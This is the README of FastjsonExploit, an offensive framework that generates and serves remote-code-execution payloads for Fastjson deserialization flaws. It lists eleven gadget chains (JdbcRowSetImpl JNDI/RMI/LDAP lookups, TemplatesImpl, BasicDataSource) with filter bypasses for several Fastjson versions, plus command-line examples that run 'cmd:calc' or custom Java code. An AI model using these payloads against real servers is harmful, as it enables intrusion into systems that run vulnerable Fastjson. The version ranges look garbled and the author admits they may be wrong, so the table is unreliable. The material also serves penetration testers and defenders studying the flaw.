FastjsonExploit是一个Fastjson漏洞快速漏洞利用框架，主要功能如下：
- 一键生成利用payload，并启动所有利用环境。
- 管理Fastjson各种payload（当然是立志整理所有啦，目前6个类，共11种利用及绕过）
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
.---- -. -. . . .
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c(_ ..(_ ..(_ ..( /,,,,,,] | |___||___||___||___| |
,_\___________'_|,L______],|______________________|
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FastjsonExploit is a Fastjson library vulnerability exploit framework
Author:c0ny1<root@gv7.me>
Usage: java -jar Fastjson-[version]-all.jar [payload] [option] [command]
Exp01: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 rmi://127.0.0.1:1099/Exploit "cmd:calc"
Exp02: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 ldap://127.0.0.1:1232/Exploit "code:custom_code.java"
Exp03: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "cmd:calc"
Exp04: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "code:custom_code.java"
Available payload types:
Payload PayloadType VulVersion Dependencies
------- ----------- ---------- ------------
BasicDataSource1 local 1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
BasicDataSource2 local 1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
JdbcRowSetImpl1 jndi 1.2.2.1-1.2.2.4
JdbcRowSetImpl2 jndi 1.2.2.1-1.2.4.1 Fastjson 1.2.41 bypass
JdbcRowSetImpl3 jndi 1.2.2.1-1.2.4.3 Fastjson 1.2.43 bypass
JdbcRowSetImpl4 jndi 1.2.2.1-1.2.4.2 Fastjson 1.2.42 bypass
JdbcRowSetImpl5 jndi 1.2.2.1-1.2.4.7 Fastjson 1.2.47 bypass
JndiDataSourceFactory1 jndi 1.2.2.1-1.2.2.4 ibatis-core:3.0
SimpleJndiBeanFactory1 jndi 1.2.2.2-1.2.2.4 spring-context:4.3.7.RELEASE
TemplatesImpl1 local 1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)
TemplatesImpl2 local 1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)
- 帮助信息所说明的payload可利用的Fastjson版本，不一定正确。后续测试更正！
